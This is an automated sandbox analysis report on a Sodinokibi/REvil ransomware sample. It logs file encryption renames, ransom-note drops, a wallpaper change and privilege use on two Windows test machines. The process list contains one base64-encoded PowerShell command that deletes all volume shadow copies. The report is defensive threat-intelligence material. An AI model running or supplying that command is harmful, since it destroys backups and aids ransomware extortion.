Malware Analysis Report

2025-01-18 20:26

Sample ID 220205-m4tx1aahcr
Target b6929c10554b2ec977acdf9dbe47dc28fc35fb67c0fbaddca9486dadc72d545f
SHA256 b6929c10554b2ec977acdf9dbe47dc28fc35fb67c0fbaddca9486dadc72d545f
Tags
sodinokibi $2a$10$sqqaxcjlnqngqvfbbt.jzefptoyckvs1wlwp.owg4hg.h2w0zhkna 3902 ransomware
score
10/10

Table of Contents

Analysis Overview

MITRE ATT&CK

Enterprise Matrix V6

Analysis: static1

Detonation Overview

Signatures

Analysis: behavioral1

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral2

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis Overview

score
10/10

SHA256

b6929c10554b2ec977acdf9dbe47dc28fc35fb67c0fbaddca9486dadc72d545f

Threat Level: Known bad

The file b6929c10554b2ec977acdf9dbe47dc28fc35fb67c0fbaddca9486dadc72d545f was found to be: Known bad.

Malicious Activity Summary

sodinokibi $2a$10$sqqaxcjlnqngqvfbbt.jzefptoyckvs1wlwp.owg4hg.h2w0zhkna 3902 ransomware

Sodin,Sodinokibi,REvil

Modifies extensions of user files

Enumerates connected drives

Sets desktop wallpaper using registry

Drops file in Windows directory

Drops file in Program Files directory

Enumerates physical storage devices

Suspicious use of WriteProcessMemory

Modifies data under HKEY_USERS

Checks processor information in registry

Suspicious behavior: EnumeratesProcesses

Suspicious use of AdjustPrivilegeToken

Suspicious use of SetWindowsHookEx

MITRE ATT&CK

Analysis: static1

Detonation Overview

Reported

2022-02-05 11:01

Signatures

N/A

Analysis: behavioral1

Detonation Overview

Submitted

2022-02-05 11:01

Reported

2022-02-05 11:04

Platform

win7-en-20211208

Max time kernel

67s

Max time network

68s

Command Line

"C:\Users\Admin\AppData\Local\Temp\b6929c10554b2ec977acdf9dbe47dc28fc35fb67c0fbaddca9486dadc72d545f.exe"

Signatures

Sodin,Sodinokibi,REvil

ransomware sodinokibi

Modifies extensions of user files

ransomware
Description Indicator Process Target
File renamed C:\Users\Admin\Pictures\SelectAdd.png => \??\c:\users\admin\pictures\SelectAdd.png.2z745 C:\Users\Admin\AppData\Local\Temp\b6929c10554b2ec977acdf9dbe47dc28fc35fb67c0fbaddca9486dadc72d545f.exe N/A
File renamed C:\Users\Admin\Pictures\UnlockPop.png => \??\c:\users\admin\pictures\UnlockPop.png.2z745 C:\Users\Admin\AppData\Local\Temp\b6929c10554b2ec977acdf9dbe47dc28fc35fb67c0fbaddca9486dadc72d545f.exe N/A
File renamed C:\Users\Admin\Pictures\WriteConvertFrom.raw => \??\c:\users\admin\pictures\WriteConvertFrom.raw.2z745 C:\Users\Admin\AppData\Local\Temp\b6929c10554b2ec977acdf9dbe47dc28fc35fb67c0fbaddca9486dadc72d545f.exe N/A
File opened for modification \??\c:\users\admin\pictures\ResolveConvertFrom.tiff C:\Users\Admin\AppData\Local\Temp\b6929c10554b2ec977acdf9dbe47dc28fc35fb67c0fbaddca9486dadc72d545f.exe N/A
File renamed C:\Users\Admin\Pictures\ResolveConvertFrom.tiff => \??\c:\users\admin\pictures\ResolveConvertFrom.tiff.2z745 C:\Users\Admin\AppData\Local\Temp\b6929c10554b2ec977acdf9dbe47dc28fc35fb67c0fbaddca9486dadc72d545f.exe N/A
File renamed C:\Users\Admin\Pictures\InvokeClear.crw => \??\c:\users\admin\pictures\InvokeClear.crw.2z745 C:\Users\Admin\AppData\Local\Temp\b6929c10554b2ec977acdf9dbe47dc28fc35fb67c0fbaddca9486dadc72d545f.exe N/A

Enumerates connected drives

Description Indicator Process Target
File opened (read-only) \??\L: C:\Users\Admin\AppData\Local\Temp\b6929c10554b2ec977acdf9dbe47dc28fc35fb67c0fbaddca9486dadc72d545f.exe N/A
File opened (read-only) \??\O: C:\Users\Admin\AppData\Local\Temp\b6929c10554b2ec977acdf9dbe47dc28fc35fb67c0fbaddca9486dadc72d545f.exe N/A
File opened (read-only) \??\X: C:\Users\Admin\AppData\Local\Temp\b6929c10554b2ec977acdf9dbe47dc28fc35fb67c0fbaddca9486dadc72d545f.exe N/A
File opened (read-only) \??\P: C:\Users\Admin\AppData\Local\Temp\b6929c10554b2ec977acdf9dbe47dc28fc35fb67c0fbaddca9486dadc72d545f.exe N/A
File opened (read-only) \??\U: C:\Users\Admin\AppData\Local\Temp\b6929c10554b2ec977acdf9dbe47dc28fc35fb67c0fbaddca9486dadc72d545f.exe N/A
File opened (read-only) \??\B: C:\Users\Admin\AppData\Local\Temp\b6929c10554b2ec977acdf9dbe47dc28fc35fb67c0fbaddca9486dadc72d545f.exe N/A
File opened (read-only) \??\G: C:\Users\Admin\AppData\Local\Temp\b6929c10554b2ec977acdf9dbe47dc28fc35fb67c0fbaddca9486dadc72d545f.exe N/A
File opened (read-only) \??\J: C:\Users\Admin\AppData\Local\Temp\b6929c10554b2ec977acdf9dbe47dc28fc35fb67c0fbaddca9486dadc72d545f.exe N/A
File opened (read-only) \??\K: C:\Users\Admin\AppData\Local\Temp\b6929c10554b2ec977acdf9dbe47dc28fc35fb67c0fbaddca9486dadc72d545f.exe N/A
File opened (read-only) \??\M: C:\Users\Admin\AppData\Local\Temp\b6929c10554b2ec977acdf9dbe47dc28fc35fb67c0fbaddca9486dadc72d545f.exe N/A
File opened (read-only) \??\N: C:\Users\Admin\AppData\Local\Temp\b6929c10554b2ec977acdf9dbe47dc28fc35fb67c0fbaddca9486dadc72d545f.exe N/A
File opened (read-only) \??\W: C:\Users\Admin\AppData\Local\Temp\b6929c10554b2ec977acdf9dbe47dc28fc35fb67c0fbaddca9486dadc72d545f.exe N/A
File opened (read-only) \??\Y: C:\Users\Admin\AppData\Local\Temp\b6929c10554b2ec977acdf9dbe47dc28fc35fb67c0fbaddca9486dadc72d545f.exe N/A
File opened (read-only) \??\A: C:\Users\Admin\AppData\Local\Temp\b6929c10554b2ec977acdf9dbe47dc28fc35fb67c0fbaddca9486dadc72d545f.exe N/A
File opened (read-only) \??\T: C:\Users\Admin\AppData\Local\Temp\b6929c10554b2ec977acdf9dbe47dc28fc35fb67c0fbaddca9486dadc72d545f.exe N/A
File opened (read-only) \??\Z: C:\Users\Admin\AppData\Local\Temp\b6929c10554b2ec977acdf9dbe47dc28fc35fb67c0fbaddca9486dadc72d545f.exe N/A
File opened (read-only) \??\D: C:\Users\Admin\AppData\Local\Temp\b6929c10554b2ec977acdf9dbe47dc28fc35fb67c0fbaddca9486dadc72d545f.exe N/A
File opened (read-only) \??\S: C:\Users\Admin\AppData\Local\Temp\b6929c10554b2ec977acdf9dbe47dc28fc35fb67c0fbaddca9486dadc72d545f.exe N/A
File opened (read-only) \??\V: C:\Users\Admin\AppData\Local\Temp\b6929c10554b2ec977acdf9dbe47dc28fc35fb67c0fbaddca9486dadc72d545f.exe N/A
File opened (read-only) \??\E: C:\Users\Admin\AppData\Local\Temp\b6929c10554b2ec977acdf9dbe47dc28fc35fb67c0fbaddca9486dadc72d545f.exe N/A
File opened (read-only) \??\F: C:\Users\Admin\AppData\Local\Temp\b6929c10554b2ec977acdf9dbe47dc28fc35fb67c0fbaddca9486dadc72d545f.exe N/A
File opened (read-only) \??\H: C:\Users\Admin\AppData\Local\Temp\b6929c10554b2ec977acdf9dbe47dc28fc35fb67c0fbaddca9486dadc72d545f.exe N/A
File opened (read-only) \??\I: C:\Users\Admin\AppData\Local\Temp\b6929c10554b2ec977acdf9dbe47dc28fc35fb67c0fbaddca9486dadc72d545f.exe N/A
File opened (read-only) \??\Q: C:\Users\Admin\AppData\Local\Temp\b6929c10554b2ec977acdf9dbe47dc28fc35fb67c0fbaddca9486dadc72d545f.exe N/A
File opened (read-only) \??\R: C:\Users\Admin\AppData\Local\Temp\b6929c10554b2ec977acdf9dbe47dc28fc35fb67c0fbaddca9486dadc72d545f.exe N/A

Sets desktop wallpaper using registry

ransomware
Description Indicator Process Target
Set value (str) \REGISTRY\USER\S-1-5-21-2329389628-4064185017-3901522362-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\AppData\\Local\\Temp\\fs3s0.bmp" C:\Users\Admin\AppData\Local\Temp\b6929c10554b2ec977acdf9dbe47dc28fc35fb67c0fbaddca9486dadc72d545f.exe N/A

Drops file in Program Files directory

Description Indicator Process Target
File opened for modification \??\c:\program files\ExportDisconnect.TS C:\Users\Admin\AppData\Local\Temp\b6929c10554b2ec977acdf9dbe47dc28fc35fb67c0fbaddca9486dadc72d545f.exe N/A
File opened for modification \??\c:\program files\RepairWatch.ods C:\Users\Admin\AppData\Local\Temp\b6929c10554b2ec977acdf9dbe47dc28fc35fb67c0fbaddca9486dadc72d545f.exe N/A
File opened for modification \??\c:\program files\ResumeConvert.pcx C:\Users\Admin\AppData\Local\Temp\b6929c10554b2ec977acdf9dbe47dc28fc35fb67c0fbaddca9486dadc72d545f.exe N/A
File opened for modification \??\c:\program files\SyncHide.i64 C:\Users\Admin\AppData\Local\Temp\b6929c10554b2ec977acdf9dbe47dc28fc35fb67c0fbaddca9486dadc72d545f.exe N/A
File opened for modification \??\c:\program files\WaitUse.mpe C:\Users\Admin\AppData\Local\Temp\b6929c10554b2ec977acdf9dbe47dc28fc35fb67c0fbaddca9486dadc72d545f.exe N/A
File created \??\c:\program files (x86)\microsoft sql server compact edition\v3.5\2z745-readme.txt C:\Users\Admin\AppData\Local\Temp\b6929c10554b2ec977acdf9dbe47dc28fc35fb67c0fbaddca9486dadc72d545f.exe N/A
File opened for modification \??\c:\program files\CompressRegister.7z C:\Users\Admin\AppData\Local\Temp\b6929c10554b2ec977acdf9dbe47dc28fc35fb67c0fbaddca9486dadc72d545f.exe N/A
File opened for modification \??\c:\program files\ImportUnregister.vdw C:\Users\Admin\AppData\Local\Temp\b6929c10554b2ec977acdf9dbe47dc28fc35fb67c0fbaddca9486dadc72d545f.exe N/A
File opened for modification \??\c:\program files\InvokeInitialize.mpv2 C:\Users\Admin\AppData\Local\Temp\b6929c10554b2ec977acdf9dbe47dc28fc35fb67c0fbaddca9486dadc72d545f.exe N/A
File opened for modification \??\c:\program files\RepairConnect.kix C:\Users\Admin\AppData\Local\Temp\b6929c10554b2ec977acdf9dbe47dc28fc35fb67c0fbaddca9486dadc72d545f.exe N/A
File opened for modification \??\c:\program files\UninstallOpen.mov C:\Users\Admin\AppData\Local\Temp\b6929c10554b2ec977acdf9dbe47dc28fc35fb67c0fbaddca9486dadc72d545f.exe N/A
File created \??\c:\program files (x86)\microsoft sql server compact edition\2z745-readme.txt C:\Users\Admin\AppData\Local\Temp\b6929c10554b2ec977acdf9dbe47dc28fc35fb67c0fbaddca9486dadc72d545f.exe N/A
File created \??\c:\program files (x86)\microsoft sql server compact edition\v3.5\desktop\2z745-readme.txt C:\Users\Admin\AppData\Local\Temp\b6929c10554b2ec977acdf9dbe47dc28fc35fb67c0fbaddca9486dadc72d545f.exe N/A
File created \??\c:\program files\2z745-readme.txt C:\Users\Admin\AppData\Local\Temp\b6929c10554b2ec977acdf9dbe47dc28fc35fb67c0fbaddca9486dadc72d545f.exe N/A
File created \??\c:\program files (x86)\2z745-readme.txt C:\Users\Admin\AppData\Local\Temp\b6929c10554b2ec977acdf9dbe47dc28fc35fb67c0fbaddca9486dadc72d545f.exe N/A
File opened for modification \??\c:\program files\ConvertToNew.mp4 C:\Users\Admin\AppData\Local\Temp\b6929c10554b2ec977acdf9dbe47dc28fc35fb67c0fbaddca9486dadc72d545f.exe N/A
File opened for modification \??\c:\program files\ExpandClose.vssx C:\Users\Admin\AppData\Local\Temp\b6929c10554b2ec977acdf9dbe47dc28fc35fb67c0fbaddca9486dadc72d545f.exe N/A
File opened for modification \??\c:\program files\InvokeTrace.001 C:\Users\Admin\AppData\Local\Temp\b6929c10554b2ec977acdf9dbe47dc28fc35fb67c0fbaddca9486dadc72d545f.exe N/A

Enumerates physical storage devices

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Users\Admin\AppData\Local\Temp\b6929c10554b2ec977acdf9dbe47dc28fc35fb67c0fbaddca9486dadc72d545f.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\system32\vssvc.exe N/A
Token: SeRestorePrivilege N/A C:\Windows\system32\vssvc.exe N/A
Token: SeAuditPrivilege N/A C:\Windows\system32\vssvc.exe N/A
Token: SeTakeOwnershipPrivilege N/A C:\Users\Admin\AppData\Local\Temp\b6929c10554b2ec977acdf9dbe47dc28fc35fb67c0fbaddca9486dadc72d545f.exe N/A

Suspicious use of SetWindowsHookEx

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Local\Temp\b6929c10554b2ec977acdf9dbe47dc28fc35fb67c0fbaddca9486dadc72d545f.exe N/A

Processes

C:\Users\Admin\AppData\Local\Temp\b6929c10554b2ec977acdf9dbe47dc28fc35fb67c0fbaddca9486dadc72d545f.exe

"C:\Users\Admin\AppData\Local\Temp\b6929c10554b2ec977acdf9dbe47dc28fc35fb67c0fbaddca9486dadc72d545f.exe"

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell -e RwBlAHQALQBXAG0AaQBPAGIAagBlAGMAdAAgAFcAaQBuADMAMgBfAFMAaABhAGQAbwB3AGMAbwBwAHkAIAB8ACAARgBvAHIARQBhAGMAaAAtAE8AYgBqAGUAYwB0ACAAewAkAF8ALgBEAGUAbABlAHQAZQAoACkAOwB9AA==

C:\Windows\system32\wbem\unsecapp.exe

C:\Windows\system32\wbem\unsecapp.exe -Embedding

C:\Windows\system32\vssvc.exe

C:\Windows\system32\vssvc.exe

Network

N/A

Files

memory/1272-54-0x0000000076921000-0x0000000076923000-memory.dmp

memory/1272-55-0x0000000007AC0000-0x0000000007AE0000-memory.dmp

memory/1272-56-0x0000000000290000-0x0000000000392000-memory.dmp

memory/1672-57-0x000007FEFC4A1000-0x000007FEFC4A3000-memory.dmp

memory/1672-58-0x000007FEF3510000-0x000007FEF406D000-memory.dmp

memory/1672-59-0x0000000002600000-0x0000000002602000-memory.dmp

memory/1672-61-0x0000000002604000-0x0000000002607000-memory.dmp

memory/1672-60-0x0000000002602000-0x0000000002604000-memory.dmp

memory/1672-62-0x000000001B700000-0x000000001B9FF000-memory.dmp

memory/1672-63-0x000000000260B000-0x000000000262A000-memory.dmp

Analysis: behavioral2

Detonation Overview

Submitted

2022-02-05 11:01

Reported

2022-02-05 11:04

Platform

win10v2004-en-20220112

Max time kernel

148s

Max time network

151s

Command Line

"C:\Users\Admin\AppData\Local\Temp\b6929c10554b2ec977acdf9dbe47dc28fc35fb67c0fbaddca9486dadc72d545f.exe"

Signatures

Sodin,Sodinokibi,REvil

ransomware sodinokibi

Modifies extensions of user files

ransomware
Description Indicator Process Target
File renamed C:\Users\Admin\Pictures\UninstallPublish.crw => \??\c:\users\admin\pictures\UninstallPublish.crw.1a2d1a4ayl C:\Users\Admin\AppData\Local\Temp\b6929c10554b2ec977acdf9dbe47dc28fc35fb67c0fbaddca9486dadc72d545f.exe N/A
File renamed C:\Users\Admin\Pictures\MergeDeny.tiff => \??\c:\users\admin\pictures\MergeDeny.tiff.1a2d1a4ayl C:\Users\Admin\AppData\Local\Temp\b6929c10554b2ec977acdf9dbe47dc28fc35fb67c0fbaddca9486dadc72d545f.exe N/A
File renamed C:\Users\Admin\Pictures\UnlockComplete.raw => \??\c:\users\admin\pictures\UnlockComplete.raw.1a2d1a4ayl C:\Users\Admin\AppData\Local\Temp\b6929c10554b2ec977acdf9dbe47dc28fc35fb67c0fbaddca9486dadc72d545f.exe N/A
File opened for modification \??\c:\users\admin\pictures\MergeDeny.tiff C:\Users\Admin\AppData\Local\Temp\b6929c10554b2ec977acdf9dbe47dc28fc35fb67c0fbaddca9486dadc72d545f.exe N/A
File renamed C:\Users\Admin\Pictures\BackupEdit.tif => \??\c:\users\admin\pictures\BackupEdit.tif.1a2d1a4ayl C:\Users\Admin\AppData\Local\Temp\b6929c10554b2ec977acdf9dbe47dc28fc35fb67c0fbaddca9486dadc72d545f.exe N/A
File renamed C:\Users\Admin\Pictures\ExportConvert.png => \??\c:\users\admin\pictures\ExportConvert.png.1a2d1a4ayl C:\Users\Admin\AppData\Local\Temp\b6929c10554b2ec977acdf9dbe47dc28fc35fb67c0fbaddca9486dadc72d545f.exe N/A
File renamed C:\Users\Admin\Pictures\TestOpen.raw => \??\c:\users\admin\pictures\TestOpen.raw.1a2d1a4ayl C:\Users\Admin\AppData\Local\Temp\b6929c10554b2ec977acdf9dbe47dc28fc35fb67c0fbaddca9486dadc72d545f.exe N/A
File renamed C:\Users\Admin\Pictures\UseTrace.tif => \??\c:\users\admin\pictures\UseTrace.tif.1a2d1a4ayl C:\Users\Admin\AppData\Local\Temp\b6929c10554b2ec977acdf9dbe47dc28fc35fb67c0fbaddca9486dadc72d545f.exe N/A

Enumerates connected drives

Description Indicator Process Target
File opened (read-only) \??\P: C:\Users\Admin\AppData\Local\Temp\b6929c10554b2ec977acdf9dbe47dc28fc35fb67c0fbaddca9486dadc72d545f.exe N/A
File opened (read-only) \??\Q: C:\Users\Admin\AppData\Local\Temp\b6929c10554b2ec977acdf9dbe47dc28fc35fb67c0fbaddca9486dadc72d545f.exe N/A
File opened (read-only) \??\E: C:\Users\Admin\AppData\Local\Temp\b6929c10554b2ec977acdf9dbe47dc28fc35fb67c0fbaddca9486dadc72d545f.exe N/A
File opened (read-only) \??\F: C:\Users\Admin\AppData\Local\Temp\b6929c10554b2ec977acdf9dbe47dc28fc35fb67c0fbaddca9486dadc72d545f.exe N/A
File opened (read-only) \??\J: C:\Users\Admin\AppData\Local\Temp\b6929c10554b2ec977acdf9dbe47dc28fc35fb67c0fbaddca9486dadc72d545f.exe N/A
File opened (read-only) \??\L: C:\Users\Admin\AppData\Local\Temp\b6929c10554b2ec977acdf9dbe47dc28fc35fb67c0fbaddca9486dadc72d545f.exe N/A
File opened (read-only) \??\M: C:\Users\Admin\AppData\Local\Temp\b6929c10554b2ec977acdf9dbe47dc28fc35fb67c0fbaddca9486dadc72d545f.exe N/A
File opened (read-only) \??\Z: C:\Users\Admin\AppData\Local\Temp\b6929c10554b2ec977acdf9dbe47dc28fc35fb67c0fbaddca9486dadc72d545f.exe N/A
File opened (read-only) \??\D: C:\Users\Admin\AppData\Local\Temp\b6929c10554b2ec977acdf9dbe47dc28fc35fb67c0fbaddca9486dadc72d545f.exe N/A
File opened (read-only) \??\B: C:\Users\Admin\AppData\Local\Temp\b6929c10554b2ec977acdf9dbe47dc28fc35fb67c0fbaddca9486dadc72d545f.exe N/A
File opened (read-only) \??\G: C:\Users\Admin\AppData\Local\Temp\b6929c10554b2ec977acdf9dbe47dc28fc35fb67c0fbaddca9486dadc72d545f.exe N/A
File opened (read-only) \??\I: C:\Users\Admin\AppData\Local\Temp\b6929c10554b2ec977acdf9dbe47dc28fc35fb67c0fbaddca9486dadc72d545f.exe N/A
File opened (read-only) \??\O: C:\Users\Admin\AppData\Local\Temp\b6929c10554b2ec977acdf9dbe47dc28fc35fb67c0fbaddca9486dadc72d545f.exe N/A
File opened (read-only) \??\S: C:\Users\Admin\AppData\Local\Temp\b6929c10554b2ec977acdf9dbe47dc28fc35fb67c0fbaddca9486dadc72d545f.exe N/A
File opened (read-only) \??\U: C:\Users\Admin\AppData\Local\Temp\b6929c10554b2ec977acdf9dbe47dc28fc35fb67c0fbaddca9486dadc72d545f.exe N/A
File opened (read-only) \??\W: C:\Users\Admin\AppData\Local\Temp\b6929c10554b2ec977acdf9dbe47dc28fc35fb67c0fbaddca9486dadc72d545f.exe N/A
File opened (read-only) \??\Y: C:\Users\Admin\AppData\Local\Temp\b6929c10554b2ec977acdf9dbe47dc28fc35fb67c0fbaddca9486dadc72d545f.exe N/A
File opened (read-only) \??\A: C:\Users\Admin\AppData\Local\Temp\b6929c10554b2ec977acdf9dbe47dc28fc35fb67c0fbaddca9486dadc72d545f.exe N/A
File opened (read-only) \??\K: C:\Users\Admin\AppData\Local\Temp\b6929c10554b2ec977acdf9dbe47dc28fc35fb67c0fbaddca9486dadc72d545f.exe N/A
File opened (read-only) \??\N: C:\Users\Admin\AppData\Local\Temp\b6929c10554b2ec977acdf9dbe47dc28fc35fb67c0fbaddca9486dadc72d545f.exe N/A
File opened (read-only) \??\V: C:\Users\Admin\AppData\Local\Temp\b6929c10554b2ec977acdf9dbe47dc28fc35fb67c0fbaddca9486dadc72d545f.exe N/A
File opened (read-only) \??\X: C:\Users\Admin\AppData\Local\Temp\b6929c10554b2ec977acdf9dbe47dc28fc35fb67c0fbaddca9486dadc72d545f.exe N/A
File opened (read-only) \??\H: C:\Users\Admin\AppData\Local\Temp\b6929c10554b2ec977acdf9dbe47dc28fc35fb67c0fbaddca9486dadc72d545f.exe N/A
File opened (read-only) \??\R: C:\Users\Admin\AppData\Local\Temp\b6929c10554b2ec977acdf9dbe47dc28fc35fb67c0fbaddca9486dadc72d545f.exe N/A
File opened (read-only) \??\T: C:\Users\Admin\AppData\Local\Temp\b6929c10554b2ec977acdf9dbe47dc28fc35fb67c0fbaddca9486dadc72d545f.exe N/A

Sets desktop wallpaper using registry

ransomware
Description Indicator Process Target
Set value (str) \REGISTRY\USER\S-1-5-21-790714498-1549421491-1643397139-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\AppData\\Local\\Temp\\33k0wq956.bmp" C:\Users\Admin\AppData\Local\Temp\b6929c10554b2ec977acdf9dbe47dc28fc35fb67c0fbaddca9486dadc72d545f.exe N/A

Drops file in Program Files directory

Description Indicator Process Target
File opened for modification \??\c:\program files\RenameJoin.mhtml C:\Users\Admin\AppData\Local\Temp\b6929c10554b2ec977acdf9dbe47dc28fc35fb67c0fbaddca9486dadc72d545f.exe N/A
File opened for modification \??\c:\program files\UnprotectFind.tiff C:\Users\Admin\AppData\Local\Temp\b6929c10554b2ec977acdf9dbe47dc28fc35fb67c0fbaddca9486dadc72d545f.exe N/A
File opened for modification \??\c:\program files\EnableStop.odp C:\Users\Admin\AppData\Local\Temp\b6929c10554b2ec977acdf9dbe47dc28fc35fb67c0fbaddca9486dadc72d545f.exe N/A
File opened for modification \??\c:\program files\ConvertToJoin.au C:\Users\Admin\AppData\Local\Temp\b6929c10554b2ec977acdf9dbe47dc28fc35fb67c0fbaddca9486dadc72d545f.exe N/A
File opened for modification \??\c:\program files\GroupHide.xlt C:\Users\Admin\AppData\Local\Temp\b6929c10554b2ec977acdf9dbe47dc28fc35fb67c0fbaddca9486dadc72d545f.exe N/A
File opened for modification \??\c:\program files\MergeSearch.xps C:\Users\Admin\AppData\Local\Temp\b6929c10554b2ec977acdf9dbe47dc28fc35fb67c0fbaddca9486dadc72d545f.exe N/A
File opened for modification \??\c:\program files\OptimizeCheckpoint.vstm C:\Users\Admin\AppData\Local\Temp\b6929c10554b2ec977acdf9dbe47dc28fc35fb67c0fbaddca9486dadc72d545f.exe N/A
File opened for modification \??\c:\program files\ResumeCompare.dotx C:\Users\Admin\AppData\Local\Temp\b6929c10554b2ec977acdf9dbe47dc28fc35fb67c0fbaddca9486dadc72d545f.exe N/A
File opened for modification \??\c:\program files\StopUndo.easmx C:\Users\Admin\AppData\Local\Temp\b6929c10554b2ec977acdf9dbe47dc28fc35fb67c0fbaddca9486dadc72d545f.exe N/A
File opened for modification \??\c:\program files\SwitchMerge.m4a C:\Users\Admin\AppData\Local\Temp\b6929c10554b2ec977acdf9dbe47dc28fc35fb67c0fbaddca9486dadc72d545f.exe N/A
File opened for modification \??\c:\program files\AssertSet.xps C:\Users\Admin\AppData\Local\Temp\b6929c10554b2ec977acdf9dbe47dc28fc35fb67c0fbaddca9486dadc72d545f.exe N/A
File created \??\c:\program files (x86)\1a2d1a4ayl-readme.txt C:\Users\Admin\AppData\Local\Temp\b6929c10554b2ec977acdf9dbe47dc28fc35fb67c0fbaddca9486dadc72d545f.exe N/A
File opened for modification \??\c:\program files\ApproveSplit.rtf C:\Users\Admin\AppData\Local\Temp\b6929c10554b2ec977acdf9dbe47dc28fc35fb67c0fbaddca9486dadc72d545f.exe N/A
File opened for modification \??\c:\program files\GroupOut.mpg C:\Users\Admin\AppData\Local\Temp\b6929c10554b2ec977acdf9dbe47dc28fc35fb67c0fbaddca9486dadc72d545f.exe N/A
File opened for modification \??\c:\program files\GroupUnprotect.xht C:\Users\Admin\AppData\Local\Temp\b6929c10554b2ec977acdf9dbe47dc28fc35fb67c0fbaddca9486dadc72d545f.exe N/A
File opened for modification \??\c:\program files\PushPop.mov C:\Users\Admin\AppData\Local\Temp\b6929c10554b2ec977acdf9dbe47dc28fc35fb67c0fbaddca9486dadc72d545f.exe N/A
File opened for modification \??\c:\program files\TraceFormat.ttc C:\Users\Admin\AppData\Local\Temp\b6929c10554b2ec977acdf9dbe47dc28fc35fb67c0fbaddca9486dadc72d545f.exe N/A
File opened for modification \??\c:\program files\WriteConvertFrom.odp C:\Users\Admin\AppData\Local\Temp\b6929c10554b2ec977acdf9dbe47dc28fc35fb67c0fbaddca9486dadc72d545f.exe N/A
File created \??\c:\program files\1a2d1a4ayl-readme.txt C:\Users\Admin\AppData\Local\Temp\b6929c10554b2ec977acdf9dbe47dc28fc35fb67c0fbaddca9486dadc72d545f.exe N/A
File opened for modification \??\c:\program files\CompressDisable.ods C:\Users\Admin\AppData\Local\Temp\b6929c10554b2ec977acdf9dbe47dc28fc35fb67c0fbaddca9486dadc72d545f.exe N/A
File opened for modification \??\c:\program files\ConfirmInitialize.mpp C:\Users\Admin\AppData\Local\Temp\b6929c10554b2ec977acdf9dbe47dc28fc35fb67c0fbaddca9486dadc72d545f.exe N/A
File opened for modification \??\c:\program files\DisconnectGet.gif C:\Users\Admin\AppData\Local\Temp\b6929c10554b2ec977acdf9dbe47dc28fc35fb67c0fbaddca9486dadc72d545f.exe N/A
File opened for modification \??\c:\program files\ReceiveApprove.xht C:\Users\Admin\AppData\Local\Temp\b6929c10554b2ec977acdf9dbe47dc28fc35fb67c0fbaddca9486dadc72d545f.exe N/A
File opened for modification \??\c:\program files\ResumeConvertFrom.m3u C:\Users\Admin\AppData\Local\Temp\b6929c10554b2ec977acdf9dbe47dc28fc35fb67c0fbaddca9486dadc72d545f.exe N/A
File opened for modification \??\c:\program files\SaveReset.mp3 C:\Users\Admin\AppData\Local\Temp\b6929c10554b2ec977acdf9dbe47dc28fc35fb67c0fbaddca9486dadc72d545f.exe N/A
File opened for modification \??\c:\program files\CheckpointSuspend.cr2 C:\Users\Admin\AppData\Local\Temp\b6929c10554b2ec977acdf9dbe47dc28fc35fb67c0fbaddca9486dadc72d545f.exe N/A

Drops file in Windows directory

Description Indicator Process Target
File opened for modification C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\DeliveryOptimization\State\keyValueLKG.dat C:\Windows\System32\svchost.exe N/A

Enumerates physical storage devices

Checks processor information in registry

Description Indicator Process Target
Key opened \Registry\Machine\HARDWARE\DESCRIPTION\System\CentralProcessor\0 C:\Windows\system32\MusNotifyIcon.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz C:\Windows\system32\MusNotifyIcon.exe N/A

Modifies data under HKEY_USERS

Description Indicator Process Target
Set value (int) \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Usage\DownloadMonthlyCdnBytes = "90228624" C:\Windows\System32\svchost.exe N/A
Set value (int) \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Usage\MonthID = "1" C:\Windows\System32\svchost.exe N/A
Set value (int) \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Usage\DownlinkBps = "0" C:\Windows\System32\svchost.exe N/A
Set value (int) \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Usage\FrDownloadRatePct = "90" C:\Windows\System32\svchost.exe N/A
Set value (int) \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Usage\UploadCount = "0" C:\Windows\System32\svchost.exe N/A
Set value (int) \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Usage\UploadMonthlyInternetBytes = "0" C:\Windows\System32\svchost.exe N/A
Set value (int) \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Config\KVFileExpirationTime = "132887089235154588" C:\Windows\System32\svchost.exe N/A
Set value (int) \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Usage\DownloadMonthlyGroupBytes = "0" C:\Windows\System32\svchost.exe N/A
Set value (int) \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Usage\DownloadMonthlyRateFrBps = "0" C:\Windows\System32\svchost.exe N/A
Set value (int) \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Usage\CacheSizeBytes = "0" C:\Windows\System32\svchost.exe N/A
Set value (int) \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Usage\LinkLocalConnectionCount = "0" C:\Windows\System32\svchost.exe N/A
Set value (int) \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Usage\UplinkUsageBps = "0" C:\Windows\System32\svchost.exe N/A
